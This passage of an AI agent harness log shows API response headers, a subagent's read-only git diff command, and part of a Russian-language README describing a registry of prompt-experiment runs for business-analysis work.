preload\",\n[2026-09-29T07:44:40.461Z] [STDOUT]     traceresponse: \"00-e2de3f7302996b6493db574cbb76b1d7-1418459d91e7d195-01\",\n[2026-09-29T07:44:40.470Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:40.480Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:40.486Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:40.488Z] [STDOUT]   },\n[2026-09-29T07:44:40.493Z] [STDOUT]   durationMs: 1134,\n[2026-09-29T07:44:40.499Z] [STDOUT] }\n[2026-09-29T07:44:40.504Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:40.509Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:39 GMT\",\n[2026-09-29T07:44:40.513Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:40.524Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:40.536Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:40.547Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:40.553Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:40.560Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:40.569Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:40.586Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:40.602Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:40.609Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:40.617Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:40.623Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:40.627Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:40.633Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:40.636Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:40.641Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.649Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:40.655Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:40.665Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:40.678Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:40.683Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:40.690Z] [STDOUT]   \"request-id\": \"req_011CfXMhMXxaAgYKhWfVKz7E\",\n[2026-09-29T07:44:40.697Z] [STDOUT]   \"traceresponse\": \"00-e2de3f7302996b6493db574cbb76b1d7-1418459d91e7d195-01\",\n[2026-09-29T07:44:40.703Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:40.705Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:40.710Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:40.724Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:40.737Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:40.742Z] [STDOUT]   \"cf-ray\": \"a4295d215ce129ad-FRA\",\n[2026-09-29T07:44:40.746Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:40.753Z] [STDOUT] [log_2c4eec] response parsed {\n[2026-09-29T07:44:40.758Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:40.766Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:40.771Z] [STDOUT]   body: X {\n[2026-09-29T07:44:40.784Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:40.793Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:40.797Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:40.808Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:40.812Z] [STDOUT]     },\n[2026-09-29T07:44:40.816Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:40.822Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:40.831Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:40.836Z] [STDOUT]   },\n[2026-09-29T07:44:40.844Z] [STDOUT]   durationMs: 1135,\n[2026-09-29T07:44:40.855Z] [STDOUT] }\n[2026-09-29T07:44:40.861Z] [INFO] {\n[2026-09-29T07:44:40.861Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"message\": {\n[2026-09-29T07:44:40.861Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"id\": \"msg_011CfXMhJ4r3mTEusbtNE7qJ\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:40.861Z] [INFO]     \"content\": [\n[2026-09-29T07:44:40.861Z] [INFO]       {\n[2026-09-29T07:44:40.861Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:40.861Z] [INFO]         \"id\": \"toolu_0114rB8o75eiwaN4v8o8EDtu\",\n[2026-09-29T07:44:40.861Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:40.861Z] [INFO]         \"input\": {\n[2026-09-29T07:44:40.861Z] [INFO]           \"command\": \"git diff --stat main origin/issue-639-405767e7672e | tail -30; git merge-base main origin/issue-639-405767e7672e; git log --oneline main -1; git diff --stat main...origin/issue-639-405767e7672e | tail -30\",\n[2026-09-29T07:44:40.861Z] [INFO]           \"description\": \"Full diff stat vs branch\"\n[2026-09-29T07:44:40.861Z] [INFO]         },\n[2026-09-29T07:44:40.861Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:40.861Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:40.861Z] [INFO]         }\n[2026-09-29T07:44:40.861Z] [INFO]       }\n[2026-09-29T07:44:40.861Z] [INFO]     ],\n[2026-09-29T07:44:40.861Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:40.861Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:40.861Z] [INFO]       \"cache_creation_input_tokens\": 565,\n[2026-09-29T07:44:40.861Z] [INFO]       \"cache_read_input_tokens\": 11031,\n[2026-09-29T07:44:40.861Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:40.861Z] [INFO]         \"ephemeral_5m_input_tokens\": 565,\n[2026-09-29T07:44:40.861Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:40.861Z] [INFO]       },\n[2026-09-29T07:44:40.861Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:44:40.861Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:40.861Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:40.861Z] [INFO]     },\n[2026-09-29T07:44:40.861Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:40.861Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:40.861Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:40.861Z] [INFO]   },\n[2026-09-29T07:44:40.861Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"uuid\": \"6ea1212b-fd45-436d-8537-b03d7aedd716\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:39.864Z\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"request_id\": \"req_011CfXMhHTPdDqPpMcvXMSf1\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.861Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:40.861Z] [INFO] }\n[2026-09-29T07:44:40.876Z] [INFO] {\n[2026-09-29T07:44:40.876Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"description\": \"Running Full diff stat vs branch\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:40.876Z] [INFO]     \"total_tokens\": 11688,\n[2026-09-29T07:44:40.876Z] [INFO]     \"tool_uses\": 3,\n[2026-09-29T07:44:40.876Z] [INFO]     \"duration_ms\": 10591\n[2026-09-29T07:44:40.876Z] [INFO]   },\n[2026-09-29T07:44:40.876Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"uuid\": \"b1c515c2-c5f5-4841-8659-74a22072f5e6\",\n[2026-09-29T07:44:40.876Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:40.876Z] [INFO] }\n[2026-09-29T07:44:41.029Z] [INFO] {\n[2026-09-29T07:44:41.029Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:41.029Z] [INFO]   \"message\": {\n[2026-09-29T07:44:41.029Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:41.029Z] [INFO]     \"content\": [\n[2026-09-29T07:44:41.029Z] [INFO]       {\n[2026-09-29T07:44:41.029Z] [INFO]         \"tool_use_id\": \"toolu_01YcM1CxK6pFcict24td2771\",\n[2026-09-29T07:44:41.029Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:41.029Z] [INFO]         \"content\": \"\u0417\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0433\u043e\u043d \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435; \u043f\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0438\\n\u0442\u043e\u043a\u0435\u043d\u043e\u0432 MUST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f `token_method`, \u0430 \u043f\u0440\u0438 `success_rate` \u2014\\n`success_rate_basis` (\u043d\u0430 \u0447\u0451\u043c \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043d\u0430 \u0434\u043e\u043b\u044f). \u041f\u0440\u0438\u043c\u0435\u0440 \u2014\\n[`2026/RUN-0018/metadata.yaml`](2026/RUN-0018/metadata.yaml).\\n\\n## \u0422\u0438\u043f\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n\\n| `run_type` | \u0417\u0430\u0447\u0435\u043c \u043f\u0440\u043e\u0433\u043e\u043d | \u0427\u0442\u043e \u043a\u043b\u0430\u0434\u0451\u043c \u0432 `outputs/` | \u041f\u043e \u0447\u0435\u043c\u0443 \u0441\u0443\u0434\u0438\u043c \u043e\u0431 \u0443\u0441\u043f\u0435\u0445\u0435 | \u041f\u0440\u0438\u043c\u0435\u0440 |\\n| --- | --- | --- | --- | --- |\\n| `execution` | \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. | \u0424\u0422, \u0422\u0417, User Story, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 UC, \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 acceptance criteria. | [`RUN-0012`](2026/RUN-0012/metadata.yaml) \u2014 \u0424\u0422 \u043f\u043e BCREQ-1069. |\\n| `statistics` | \u041d\u0430\u043a\u043e\u043f\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u043e \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u00ab\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u2194 \u0418\u0418\u00bb. | \u0417\u0430\u043c\u0435\u0440\u044b, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438. | \u0417\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0431\u043e\u0440\u043a\u0438, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b. | [`RUN-0009`](2026/RUN-0009/metadata.yaml) \u2014 A/B \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432. |\\n| `legacy` | \u0417\u0430\u043f\u0438\u0441\u044c, \u0442\u0438\u043f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. | \u2014 | \u041d\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u044b\u0431\u043e\u0440\u043a\u0435. | \u2014 |\\n\\n### \u041a\u0430\u043a \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0442\u0438\u043f\\n\\n\u0422\u0438\u043f \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 **\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0446\u0435\u043b\u0438 \u0432 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0434\u0430\u0447\u0438** (issue), \u0430 \u043d\u0435 \u0438\u0437 \u0441\u043e\u0441\u0442\u0430\u0432\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\\n| \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0446\u0435\u043b\u0438 | \u0422\u0438\u043f |\\n| --- | --- |\\n| \u00ab\u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u00ab\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\u00bb, \u00ab\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u00bb | `statistics` |\\n| \u00ab\u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb, \u00ab\u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0424\u0422/\u0422\u0417/\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u00bb, \u00ab\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb | `execution` |\\n\\n\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0424\u0422 \u0438\u043b\u0438 \u043c\u0430\u0442\u0440\u0438\u0446\u044b UC \u0432 `outputs/` \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u043e\u0433\u043e\u043d `execution` \u2014 \u0432\\n\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435\u043c \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435\\n\u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0434\u0430\u0447\u0438. \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u2014\\n[`standards/runs-contract-standard.md`](../standards/runs-contract-standard.md#\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439-\u0432\u044b\u0431\u043e\u0440\u0430-\u0442\u0438\u043f\u0430-\u043f\u0440\u043e\u0433\u043e\u043d\u0430).\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438 \u0434\u0432\u0443\u0445 \u0442\u0438\u043f\u043e\u0432 \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u044e\u0442\u0441\u044f: \u0432\u044b\u0431\u043e\u0440\u043a\u0430 \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0438\u0437\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e `run_type`. \u0415\u0441\u043b\u0438 \u0438\u0437 \u043f\u0440\u043e\u0433\u043e\u043d\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044e\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f\\n\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438, \u043e\u043d\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c \u0441 `run_type: statistics` \u0438\\n\u0441\u0441\u044b\u043b\u043a\u043e\u0439 `related_runs`.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n\u041f\u0440\u043e\u0433\u043e\u043d\u044b **\u043d\u0435 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u044e\u0442** \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432:\\n\\n- \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0444\u0430\u0439\u043b\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u0438 `runs/YYYY/RUN-XXXX/`;\\n- \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 `prompts/`, `kb/`, `site/data/`, `patterns/`;\\n- \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\\n  `related_artifacts`;\\n- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 \u0432\u0435\u0431-\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\\n  \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438.\\n\\n## \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432\\n\\n| \u041f\u043e\u0434\u043a\u0430\u0442\u0430\u043b\u043e\u0433 | \u0427\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f |\\n| --- | --- |\\n| `inputs/` | \u0421\u044b\u0440\u043e\u0439 \u0432\u0445\u043e\u0434, \u0432\u044b\u0434\u0435\u0440\u0436\u043a\u0438 \u0411\u0417, \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438. |\\n| `outputs/` | \u0418\u0442\u043e\u0433\u043e\u0432\u044b\u0435 \u0438 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. |\\n| `feedback/` | \u041a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0440\u0435\u0432\u044c\u044e, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443. |\\n| `logs/` | \u041b\u043e\u0433\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430, \u043c\u0435\u0442\u0440\u0438\u043a\u0438, \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u044b. |\\n\\n\u0415\u0441\u043b\u0438 \u043f\u043e\u0434\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u043a\u0430 \u043f\u0443\u0441\u0442\u043e\u0439, \u043e\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `.gitkeep`, \u0447\u0442\u043e\u0431\u044b \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\\n\u043a\u0430\u0436\u0434\u043e\u0433\u043e run \u0431\u044b\u043b\u0430 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u0439.\\n\\n## \u0420\u0435\u0435\u0441\u0442\u0440 \u0437\u0430\u043f\u0438\u0441\u0435\u0439\\n\\n`RUN-0001`\u2013`RUN-0012` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 Phase 0 (issue #123); \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0438\\n\u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443.\\n\\n| Run | \u0414\u0430\u0442\u0430 | `run_type` | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 | \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 |\\n| --- | --- | --- | --- | --- |\\n| [`RUN-0001`](2026/RUN-0001/metadata.yaml) | 2026-05-26 | `execution` | prompt-experiment | [`tz-stats-prototype-2026-05.md`](2026/RUN-0001/outputs/tz-stats-prototype-2026-05.md) |\\n| [`RUN-0002`](2026/RUN-0002/metadata.yaml) | 2026-05-26 | `execution` | user-story-generation | [`user-story_gen-from-raw-request_2026-05-26.md`](2026/RUN-0002/outputs/user-story_gen-from-raw-request_2026-05-26.md) |\\n| [`RUN-0003`](2026/RUN-0003/metadata.yaml) | 2026-05-26 | `execution` | usecase-generation | [`usecase_gen-stepwise-alignment_2026-05-26.md`](2026/RUN-0003/outputs/usecase_gen-stepwise-alignment_2026-05-26.md) |\\n| [`RUN-0004`](2026/RUN-0004/metadata.yaml) | 2026-05-26 | `statistics` | prompt-audit | [`prompts-audit-2026-05-26.md`](2026/RUN-0004/outputs/prompts-audit-2026-05-26.md) |\\n| [`RUN-0005`](2026/RUN-0005/metadata.yaml) | 2026-05-26 | `statistics` | prompt-selftest | [`prompts-selftest-2026-05-26.md`](2026/RUN-0005/outputs/prompts-selftest-2026-05-26.md) |\\n| [`RUN-0006`](2026/RUN-0006/metadata.yaml) | 2026-06-13 | `execution` | session-debug-documentation | [`session-debug-summarizer-2026-06-13.md`](2026/RUN-0006/outputs/session-debug-summarizer-2026-06-13.md) |\\n| [`RUN-0007`](2026/RUN-0007/metadata.yaml) | 2026-06-16 | `execution` | fr-generation | [`fr-generation-1027-live_2026-06-16.md`](2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md) |\\n| [`RUN-0008`](2026/RUN-0008/metadata.yaml) | 2026-06-16 | `statistics` | kb-citation-check | [`kb-citation-check-2026-06-16.md`](2026/RUN-0008/outputs/kb-citation-check-2026-06-16.md) |\\n| [`RUN-0009`](2026/RUN-0009/metadata.yaml) | 2026-06-16 | `statistics` | industry-standards-ab-check | [`standards-applied-ab-2026-06-16.md`](2026/RUN-0009/outputs/standards-applied-ab-2026-06-16.md) |\\n| [`RUN-0010`](2026/RUN-0010/metadata.yaml) | 2026-06-17 | `statistics` | bcreq-1025-email-routing | [`2026-06-17-bcreq-1025-email-routing.md`](2026/RUN-0010/outputs/2026-06-17-bcreq-1025-email-routing.md), 